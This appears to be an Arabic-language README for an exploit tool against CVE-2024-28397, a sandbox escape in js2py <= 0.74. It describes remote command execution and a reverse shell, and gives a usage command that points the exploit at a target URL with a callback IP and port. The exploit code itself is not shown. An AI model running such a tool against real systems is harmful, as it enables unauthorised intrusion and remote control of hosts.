js2py هروب صندوق الرمل (CVE-2024-28397)

أداة استغلال لتنفيذ الأوامر عن بُعد (RCE) عبر هروب من صندوق الرمل في js2py <= 0.74.

تسمح بتنفيذ كود تعسفي على النظام المضيف من خلال تقييم JavaScript غير آمن.

الثغرة الأمنية

• CVE: CVE-2024-28397
• المكون: js2py
• الإصدارات المتأثرة: <= 0.74
• التأثير: تنفيذ الأوامر عن بُعد
• الناقل: هروب صندوق الرمل لجافا سكريبت
• تحليل الثغرة الأمنية: CVE-2024-28397-js2py-Sandbox-Escape

الميزات

• هروب صندوق الرمل
• تنفيذ الأوامر عبر subprocess.Popen
• شل عكسي
• بدون تبعيات خارجية على الهدف

المتطلبات

• Python 3.8+
• الوصول إلى نقطة نهاية ضعيفة تُقيّم JS باستخدام js2py

التبعيات:

pip install -r requirements.txt

الاستخدام

python3 exploit.py -U http://target_url -H IP -P PUERTO

تحذير قانوني

هذا المشروع يُقدَّم لأغراض تعليمية فقط ولتدقيقات أمنية مصرح بها.

المؤلف غير مسؤول عن سوء استخدام هذه الأداة.